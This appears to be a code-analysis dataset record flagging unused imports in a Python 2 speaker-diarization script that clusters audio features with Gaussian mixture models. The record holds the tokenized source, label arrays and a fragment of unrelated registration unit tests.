"assert", "Equal_", "(_", "dev", "3_", "._", "os_", ",_", "dev_", "._", "os_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "dev", "3_", "._", "version_", ",_", "'", "alpha", "-1", ".2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tr", "y", " ", "a", " ", "registration", " ", "with", " ", "an", " ", "alr", "ead", "y", "-", "used", " ", "identi", "ty", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Creat", "e", "User", "And", "Device_", "(_", "user", "\\u", "dict_", "=_", "{_", "'", "user", "\\u", "id", "'_", ":_", "1000_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ident", "\\u", "dict_", "=_", "{_", "'", "key", "'_", ":_", "'", "Local", ":", "0", "\\u", "0.", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "authori", "ty", "'_", ":_", "'", "Test", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "dict_", "=_", "{_", "'", "device", "\\u", "id", "'_", ":_", "dev", "3_", "._", "device", "\\u", "id_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "False_", ",_", "'", "third", " ", "identi", "ty", " ", "shou", "ld", " ", "have", " ", "fail", "ed", " ", "with", " ", "alr", "ead", "y", "-", "in", "-", "use", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "e_", "._", "message_", "._", "startswith_", "(_", "'", "the", " ", "identi", "ty", " ", "is", " ", "alr", "ead", "y", " ", "in", " ", "use", "'_", ")_", ",_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "identities", "_", "=_", "self_", "._", "\\u", "Run", "Async", "_", "(_", "u", "3_", "._", "Query", "Ident", "ities_", ",_", "self_", "._", "\\u", "client_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keys_", "=_", "[_", "i_", "._", "key_", "for_", "i_", "in_", "identities", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "Local", ":", "0", "\\u", "0.", "1", "'_", "in_", "keys_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "Local", ":", "0", "\\u", "0.", "2", "'_", "in_", "keys_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "User", "Test", "Case_", "(_", "DB", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Register", "Via", "Web", "App_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Register", " ", "from", " ", "web", " ", "applica", "tion", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", ",_", "dev_", "=_", "self_", "._", "\\u", "Creat", "e", "User", "And", "Device_", "(_", "user", "\\u", "dict_", "=_", "{_", "'", "user", "\\u", "id", "'_", ":_", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "Spe", "nce", "r", " ", "Ki", "mba", "ll", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ident", "\\u", "dict_", "=_", "{_", "'", "key", "'_", ":_", "'", "Test", ":", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "authori", "ty", "'_", ":_", "'", "Test", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "dict_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "u_", "._", "name_", ",_", "'", "Spe", "nce", "r", " ", "Ki", "mba", "ll", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "u_", "._",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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
hcook/gmm/examples/cluster.py
[ { "content": "import unittest\nimport pylab as pl\nimport matplotlib as mpl\nimport itertools\nimport sys\nimport math\nimport timeit\nimport copy\nimport time\nimport struct\nimport scipy.stats.mstats as stats\nimport ConfigParser\nimport os.path\nimport getopt\nimport h5py\n\nfrom gmm_specializer.gmm import *\n\n\nMINVALUEFORMINUSLOG = -1000.0\n\n\n \n\n \n\n\n\n\nif __name__ == '__main__':\n device_id = 0\n \n \n # Process commandline arguments\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"c:\", [\"help\"])\n except getopt.GetoptError, err:\n print_no_config()\n sys.exit(2)\n\n config_file = 'diarizer.cfg'\n config_specified = False\n for o, a in opts:\n if o == '-c':\n config_file = a\n config_specified = True\n if o == '--help':\n print_usage()\n sys.exit(2)\n \n\n if not config_specified:\n print \"No config file specified, using defaul 'diarizer.cfg' file\"\n else:\n print \"Using the config file specified: '\", config_file, \"'\"\n\n try:\n open(config_file)\n except IOError, err:\n print \"Error! Config file: '\", config_file, \"' does not exist\"\n sys.exit(2)\n \n # Parse diarizer config file\n config = ConfigParser.ConfigParser()\n\n config.read(config_file)\n\n meeting_name, f, sp, outfile, gmmfile, num_gmms, num_comps, num_em_iters, kl_ntop, num_seg_iters_init, num_seg_iters, seg_length = get_config_params(config)\n\n # Create tester object\n diarizer = Diarizer(f, sp)\n\n # Create the GMM list\n diarizer.new_gmm_list(num_comps, num_gmms, 'diag')\n\n # Cluster\n most_likely = diarizer.cluster(num_em_iters, kl_ntop, num_seg_iters_init, num_seg_iters, seg_length)\n\n # Write out RTTM and GMM parameter files\n diarizer.write_to_RTTM(outfile, sp, meeting_name, most_likely, num_gmms, seg_length)\n diarizer.write_to_GMM(gmmfile)\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Diarizer(object):\n\n\n\n\n \n\n\n\n\n\n", "metadata": "root.Diarizer", "header": "['module', '___EOS___']", "index": 21 }, { "content": " def __init__(self, f_file_name, sp_file_name):\n #self.variant_param_spaces = variant_param_spaces\n #self.device_id = device_id\n #self.names_of_backends = names_of_backends\n\n f = open(f_file_name, \"rb\")\n\n print \"...Reading in HTK feature file...\"\n \n #=== Read Feature File ==\n try:\n nSamples = struct.unpack('>i', f.read(4))[0]\n sampPeriod = struct.unpack('>i', f.read(4))[0]\n sampSize = struct.unpack('>h', f.read(2))[0]\n sampKind = struct.unpack('>h', f.read(2))[0]\n\n print \"INFO: total number of frames read: \", nSamples\n self.total_num_frames = nSamples\n \n D = sampSize/4 #dimension of feature vector\n l = []\n count = 0\n while count < (nSamples * D):\n bFloat = f.read(4)\n fl = struct.unpack('>f', bFloat)[0]\n l.append(fl)\n count = count + 1\n finally:\n f.close()\n\n #=== Prune to Speech Only ==\n print \"...Reading in speech/nonspeech file...\"\n pruned_list = []\n num_speech_frames = nSamples \n\n if sp_file_name:\n sp = open(sp_file_name, \"r\")\n \n l_start = []\n l_end = []\n num_speech_frames = 0\n for line in sp:\n s = line.split(' ')\n st = math.floor(100 * float(s[2]) + 0.5)\n en = math.floor(100 * float(s[3].replace('\\n','')) + 0.5)\n st1 = int(st)\n en1 = int(en)\n l_start.append(st1*19)\n l_end.append(en1*19)\n num_speech_frames = num_speech_frames + (en1 - st1 + 1)\n\n print \"INFO: total number of speech frames: \", num_speech_frames\n\n total = 0\n for start in l_start:\n end = l_end[l_start.index(start)]\n total += (end/19 - start/19 + 1)\n x = 0\n index = start\n while x < (end-start+19):\n pruned_list.append(l[index])\n index += 1\n x += 1\n else: #no speech file, take in all features\n pruned_list = l\n\n floatArray = np.array(pruned_list, dtype = np.float32)\n self.X = floatArray.reshape(num_speech_frames, D)\n \n self.N = self.X.shape[0]\n self.D = self.X.shape[1]", "metadata": "root.Diarizer.__init__", "header": "['class', 'Diarizer', '(', 'object', ')', ':', '___EOS___']", "index": 23 }, { "content": " def write_to_RTTM(self, rttm_file_name, sp_file_name, meeting_name, most_likely, num_gmms, seg_length):\n\n print \"...Writing out RTTM file...\"\n\n #do majority voting in chunks of 250\n duration = seg_length\n chunk = 0\n end_chunk = duration\n\n max_gmm_list = []\n\n smoothed_most_likely = np.array([], dtype=np.float32)\n\n \n while end_chunk < len(most_likely):\n chunk_arr = most_likely[range(chunk, end_chunk)]\n max_gmm = stats.mode(chunk_arr)[0][0]\n max_gmm_list.append(max_gmm)\n smoothed_most_likely = np.append(smoothed_most_likely, max_gmm*np.ones(250))\n chunk += duration\n end_chunk += duration\n\n end_chunk -= duration\n if end_chunk < len(most_likely):\n chunk_arr = most_likely[range(end_chunk, len(most_likely))]\n max_gmm = stats.mode(chunk_arr)[0][0]\n max_gmm_list.append(max_gmm)\n smoothed_most_likely = np.append(smoothed_most_likely, max_gmm*np.ones(len(most_likely)-end_chunk))\n\n most_likely = smoothed_most_likely\n \n out_file = open(rttm_file_name, 'w')\n\n with_non_speech = -1*np.ones(self.total_num_frames)\n\n if sp_file_name:\n speech_seg = np.loadtxt(sp_file_name, delimiter=' ',usecols=(2,3))\n speech_seg_i = np.round(speech_seg*100).astype('int32')\n sizes = np.diff(speech_seg_i)\n \n sizes = sizes.reshape(sizes.size)\n offsets = np.cumsum(sizes)\n offsets = np.hstack((0, offsets[0:-1]))\n\n offsets += np.array(range(len(offsets)))\n \n #populate the array with speech clusters\n speech_index = 0\n counter = 0\n for pair in speech_seg_i:\n st = pair[0]\n en = pair[1]\n speech_index = offsets[counter]\n \n counter+=1\n idx = 0\n for x in range(st+1, en+1):\n with_non_speech[x] = most_likely[speech_index+idx]\n idx += 1\n else:\n with_non_speech = most_likely\n \n cnum = with_non_speech[0]\n cst = 0\n cen = 0\n for i in range(1,self.total_num_frames): \n if with_non_speech[i] != cnum: \n if (cnum >= 0):\n start_secs = ((cst)*0.01)\n dur_secs = (cen - cst + 2)*0.01\n out_file.write(\"SPEAKER \" + meeting_name + \" 1 \" + str(start_secs) + \" \"+ str(dur_secs) + \" <NA> <NA> \" + \"speaker_\" + str(cnum) + \" <NA>\\n\")\n\n \n cst = i\n cen = i\n cnum = with_non_speech[i]\n else:\n cen+=1\n \n if cst < cen:\n cnum = with_non_speech[self.total_num_frames-1]\n if(cnum >= 0):\n start_secs = ((cst+1)*0.01)\n dur_secs = (cen - cst + 1)*0.01\n out_file.write(\"SPEAKER \" + meeting_name + \" 1 \" + str(start_secs) + \" \"+ str(dur_secs) + \" <NA> <NA> \" + \"speaker_\" + str(cnum) + \" <NA>\\n\")\n\n\n print \"DONE writing RTTM file\"", "metadata": "root.Diarizer.write_to_RTTM", "header": "['class', 'Diarizer', '(', 'object', ')', ':', '___EOS___']", "index": 96 }, { "content": " def write_to_GMM(self, gmmfile):\n\n gmm_f = open(gmmfile, 'w')\n\n gmm_f.write(\"Number of clusters: \" + str(len(self.gmm_list)) + \"\\n\")\n \n #print parameters\n cluster_count = 0\n for gmm in self.gmm_list:\n\n gmm_f.write(\"Cluster \" + str(cluster_count) + \"\\n\")\n means = gmm.components.means\n covars = gmm.components.covars\n weights = gmm.components.weights\n\n gmm_f.write(\"Number of Gaussians: \"+ str(gmm.M) + \"\\n\")\n\n gmm_count = 0\n for g in range(0, gmm.M):\n g_means = means[gmm_count]\n g_covar_full = covars[gmm_count]\n g_covar = np.diag(g_covar_full)\n g_weight = weights[gmm_count]\n\n gmm_f.write(\"Gaussian: \" + str(gmm_count) + \"\\n\")\n gmm_f.write(\"Weight: \" + str(g_weight) + \"\\n\")\n \n for f in range(0, gmm.D):\n gmm_f.write(\"Feature \" + str(f) + \" Mean \" + str(g_means[f]) + \" Var \" + str(g_covar[f]) + \"\\n\")\n\n gmm_count+=1\n \n cluster_count+=1\n\n print \"DONE writing GMM file\"", "metadata": "root.Diarizer.write_to_GMM", "header": "['class', 'Diarizer', '(', 'object', ')', ':', '___EOS___']", "index": 185 }, { "content": " def new_gmm(self, M, cvtype):\n self.M = M\n self.gmm = GMM(self.M, self.D, cvtype=cvtype)", "metadata": "root.Diarizer.new_gmm", "header": "['class', 'Diarizer', '(', 'object', ')', ':', '___EOS___']", "index": 221 }, { "content": " def new_gmm_list(self, M, K, cvtype):\n self.M = M\n self.init_num_clusters = K\n self.gmm_list = [GMM(self.M, self.D, cvtype=cvtype) for i in range(K)]", "metadata": "root.Diarizer.new_gmm_list", "header": "['class', 'Diarizer', '(', 'object', ')', ':', '___EOS___']", "index": 225 }, { "content": " def segment_majority_vote(self, interval_size, em_iters):\n \n num_clusters = len(self.gmm_list)\n\n # Resegment data based on likelihood scoring\n likelihoods = self.gmm_list[0].score(self.X)\n for g in self.gmm_list[1:]:\n likelihoods = np.column_stack((likelihoods, g.score(self.X)))\n\n if num_clusters == 1:\n most_likely = np.zeros(len(self.X))\n else:\n most_likely = likelihoods.argmax(axis=1)\n\n\n # Across 2.5 secs of observations, vote on which cluster they should be associated with\n\n iter_training = {}\n \n for i in range(interval_size, self.N, interval_size):\n\n arr = np.array(most_likely[(range(i-interval_size, i))])\n max_gmm = int(stats.mode(arr)[0][0])\n iter_training.setdefault((self.gmm_list[max_gmm],max_gmm),[]).append(self.X[i-interval_size:i,:])\n\n arr = np.array(most_likely[(range((self.N/interval_size)*interval_size, self.N))])\n max_gmm = int(stats.mode(arr)[0][0])\n iter_training.setdefault((self.gmm_list[max_gmm], max_gmm),[]).append(self.X[(self.N/interval_size)*interval_size:self.N,:])\n \n iter_bic_dict = {}\n iter_bic_list = []\n\n # for each gmm, append all the segments and retrain\n for gp, data_list in iter_training.iteritems():\n g = gp[0]\n p = gp[1]\n cluster_data = data_list[0]\n\n for d in data_list[1:]:\n cluster_data = np.concatenate((cluster_data, d))\n\n g.train(cluster_data, max_em_iters=em_iters)\n\n iter_bic_list.append((g,cluster_data))\n iter_bic_dict[p] = cluster_data\n\n return iter_bic_dict, iter_bic_list, most_likely", "metadata": "root.Diarizer.segment_majority_vote", "header": "['class', 'Diarizer', '(', 'object', ')', ':', '___EOS___']", "index": 232 }, { "content": " def cluster(self, em_iters, KL_ntop, NUM_SEG_LOOPS_INIT, NUM_SEG_LOOPS, seg_length):\n\n print \" ====================== CLUSTERING ====================== \"\n main_start = time.time()\n\n # ----------- Uniform Initialization -----------\n # Get the events, divide them into an initial k clusters and train each GMM on a cluster\n per_cluster = self.N/self.init_num_clusters\n init_training = zip(self.gmm_list,np.vsplit(self.X, range(per_cluster, self.N, per_cluster)))\n \n for g, x in init_training:\n g.train(x, max_em_iters=em_iters)\n\n # ----------- First majority vote segmentation loop ---------\n for segment_iter in range(0,NUM_SEG_LOOPS_INIT):\n iter_bic_dict, iter_bic_list, most_likely = self.segment_majority_vote(seg_length, em_iters)\n\n\n # ----------- Main Clustering Loop using BIC ------------\n\n # Perform hierarchical agglomeration based on BIC scores\n best_BIC_score = 1.0\n total_events = 0\n total_loops = 0\n \n while (best_BIC_score > 0 and len(self.gmm_list) > 1):\n\n total_loops+=1\n for segment_iter in range(0,NUM_SEG_LOOPS):\n iter_bic_dict, iter_bic_list, most_likely = self.segment_majority_vote(seg_length, em_iters)\n \n # Score all pairs of GMMs using BIC\n best_merged_gmm = None\n best_BIC_score = 0.0\n merged_tuple = None\n merged_tuple_indices = None\n\n # ------- KL distance to compute best pairs to merge -------\n if KL_ntop > 0:\n\n top_K_gmm_pairs = self.gmm_list[0].find_top_KL_pairs(KL_ntop, self.gmm_list)\n for pair in top_K_gmm_pairs:\n score = 0.0\n gmm1idx = pair[0]\n gmm2idx = pair[1]\n g1 = self.gmm_list[gmm1idx]\n g2 = self.gmm_list[gmm2idx]\n\n if gmm1idx in iter_bic_dict and gmm2idx in iter_bic_dict:\n d1 = iter_bic_dict[gmm1idx]\n d2 = iter_bic_dict[gmm2idx]\n data = np.concatenate((d1,d2))\n elif gmm1idx in iter_bic_dict:\n data = iter_bic_dict[gmm1idx]\n elif gmm2idx in iter_bic_dict:\n data = iter_bic_dict[gmm2idx]\n else:\n continue\n\n new_gmm, score = compute_distance_BIC(g1, g2, data, em_iters)\n \n #print \"Comparing BIC %d with %d: %f\" % (gmm1idx, gmm2idx, score)\n if score > best_BIC_score: \n best_merged_gmm = new_gmm\n merged_tuple = (g1, g2)\n merged_tuple_indices = (gmm1idx, gmm2idx)\n best_BIC_score = score\n\n # ------- All-to-all comparison of gmms to merge -------\n else: \n l = len(iter_bic_list)\n\n for gmm1idx in range(l):\n for gmm2idx in range(gmm1idx+1, l):\n score = 0.0\n g1, d1 = iter_bic_list[gmm1idx]\n g2, d2 = iter_bic_list[gmm2idx] \n\n data = np.concatenate((d1,d2))\n new_gmm, score = compute_distance_BIC(g1, g2, data, em_iters)\n\n #print \"Comparing BIC %d with %d: %f\" % (gmm1idx, gmm2idx, score)\n if score > best_BIC_score: \n best_merged_gmm = new_gmm\n merged_tuple = (g1, g2)\n merged_tuple_indices = (gmm1idx, gmm2idx)\n best_BIC_score = score\n\n # Merge the winning candidate pair if its deriable to do so\n if best_BIC_score > 0.0:\n gmms_with_events = []\n for gp in iter_bic_list:\n gmms_with_events.append(gp[0])\n\n #cleanup the gmm_list - remove empty gmms\n for g in self.gmm_list:\n if g not in gmms_with_events and g != merged_tuple[0] and g!= merged_tuple[1]:\n #remove\n self.gmm_list.remove(g)\n\n self.gmm_list.remove(merged_tuple[0])\n self.gmm_list.remove(merged_tuple[1])\n self.gmm_list.append(best_merged_gmm)\n \n\n \n print \" size of each cluster:\", [ g.M for g in self.gmm_list]\n \n print \"=== Total clustering time: \", time.time()-main_start\n print \"=== Final size of each cluster:\", [ g.M for g in self.gmm_list]\n\n return most_likely", "metadata": "root.Diarizer.cluster", "header": "['class', 'Diarizer', '(', 'object', ')', ':', '___EOS___']", "index": 281 }, { "content": "def print_usage():\n print \"\"\" ---------------------------------------------------------------------\n Speaker Diarization in Python with Asp and the GMM Specializer usage:\n ---------------------------------------------------------------------\n Arguments for the diarizer are parsed from a config file. \n Default config file is diarizer.cfg, but you can pass your own file with the '-c' option. \n Required is the config file header: [Diarizer] and the options are as follows:\n \n --- Required: ---\n basename: \\t Basename of the file to process\n mfcc_feats: \\t MFCC input feature file\n output_cluster: \\t Output clustering file\n gmm_output: \\t Output GMMs parameters file\n M_mfcc: \\t Amount of gaussains per model for mfcc\n initial_clusters: Number of initial clusters\n\n --- Optional: ---\n spnsp_file: \\t spnsp file (all features used by default)\n KL_ntop: \\t Nuber of combinations to evaluate BIC on\n \\t 0 to deactive KL-divergency (fastmatch-component)\n em_iterations: \\t Number of iterations for the standard\n \\t segmentation loop training (3 by default)\n num_seg_iters_init: \\t Number of majority vote iterations\n \\t in the initialization phase (2 by default)\n num_seg_iters: \\t Number of majority vote iterations\n \\t in the main loop (3 by default)\n seg_length: \\t Segment length for majority vote in frames\n \\t (250 frames by default)\n\n For fastest performance, enable KL-divergency (KL_ntop = 3) and set\n \\t num_seg_iters_init and num_seg_iters to 1\n \"\"\"", "metadata": "root.print_usage", "header": "['module', '___EOS___']", "index": 395 }, { "content": "def print_no_config():\n\n print \"Please supply a config file with -c 'config_file_name.cfg' \"\n return", "metadata": "root.print_no_config", "header": "['module', '___EOS___']", "index": 429 }, { "content": "def get_config_params(config):\n #read in filenames\n try:\n meeting_name = config.get('Diarizer', 'basename')\n except:\n print \"basename not specified in config file! exiting...\"\n sys.exit(2)\n try:\n f = config.get('Diarizer', 'mfcc_feats')\n except:\n print \"Feature file mfcc_feats not specified in config file! exiting...\"\n sys.exit(2)\n\n try:\n sp = config.get('Diarizer', 'spnsp_file')\n except:\n print \"Speech file spnsp_file not specified, continuing without it...\"\n sp = False\n\n try:\n outfile = config.get('Diarizer', 'output_cluster')\n except:\n print \"output_cluster file not specified in config file! exiting...\"\n sys.exit(2)\n\n try:\n gmmfile = config.get('Diarizer', 'gmm_output')\n except:\n print \"gmm_output file not specified in config file! exiting...\"\n sys.exit(2)\n \n #read GMM paramters\n try:\n num_gmms = int(config.get('Diarizer', 'initial_clusters'))\n except:\n print \"initial_clusters not specified in config file! exiting...\"\n sys.exit(2)\n\n try:\n num_comps = int(config.get('Diarizer', 'M_mfcc'))\n except:\n print \"M_mfcc not specified in config file! exiting...\"\n sys.exit(2)\n \n #read algorithm configuration\n try:\n kl_ntop = int(config.get('Diarizer', 'KL_ntop'))\n except:\n kl_ntop = 0\n try:\n num_seg_iters_init = int(config.get('Diarizer', 'num_seg_iters_init'))\n except:\n num_seg_iters_init = 2\n \n try:\n num_seg_iters = int(config.get('Diarizer', 'num_seg_iters'))\n except:\n num_seg_iters = 3\n\n try:\n num_em_iters = int(config.get('Diarizer', 'em_iterations'))\n except:\n num_em_iters = 3\n\n try:\n seg_length = int(config.get('Diarizer', 'seg_length'))\n except:\n seg_length = 250\n\n \n return meeting_name, f, sp, outfile, gmmfile, num_gmms, num_comps, num_em_iters, kl_ntop, num_seg_iters_init, num_seg_iters, seg_length", "metadata": "root.get_config_params", "header": "['module', '___EOS___']", "index": 434 } ]
[ { "span": "import unittest", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 15 }, { "span": "import pylab as pl", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 18 }, { "span": "import matplotlib as mpl", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 24 }, { "span": "import itertools", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 16 }, { "span": "import timeit", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 13 }, { "span": "import copy", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 11 }, { "span": "import os.path", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 14 }, { "span": "import h5py", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 11 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pylab_", "as_", "pl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "matplotlib_", "as_", "mpl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "itertools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "math_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "timeit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "struct_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "scipy_", "._", "stats_", "._", "mst", "ats_", "as_", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Config", "Parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "getopt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "h5py_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "gmm", "\\u", "specialize", "r_", "._", "gmm", "_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "MIN", "VALU", "EF", "ORM", "IN", "US", "LOG_", "=_", "-_", "1000.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "device", "\\u", "id_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Process", " ", "commandline", " ", "arguments_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opts_", ",_", "args_", "=_", "getopt_", "._", "getopt_", "(_", "sys_", "._", "argv_", "[_", "1_", ":_", "]_", ",_", "\"", "c", ":\"_", ",_", "[_", "\"", "help", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "getopt_", "._", "Get", "opt", "Error_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "no", "\\u", "config_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "config", "\\u", "file_", "=_", "'", "dia", "rize", "r", ".", "cfg", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config", "\\u", "specified", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "o_", ",_", "a_", "in_", "opts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "o_", "==_", "'-", "c", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config", "\\u", "file_", "=_", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config", "\\u", "specified", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "o_", "==_", "'--", "help", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "usage_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "config", "\\u", "specified", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "No", " ", "config", " ", "file", " ", "specified", ",", " ", "usi", "ng", " ", "def", "aul", " ", "'", "dia", "rize", "r", ".", "cfg", "'", " ", "file", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Us", "ing", " ", "the", " ", "config", " ", "file", " ", "specified", ":", " ", "'\"_", ",_", "config", "\\u", "file_", ",_", "\"'\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "open_", "(_", "config", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "IO", "Error_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Error", "!", " ", "Config", " ", "file", ":", " ", "'\"_", ",_", "config", "\\u", "file_", ",_", "\"'", " ", "doe", "s", " ", "not", " ", "exist", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pars", "e", " ", "dia", "rize", "r", " ", "config", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", 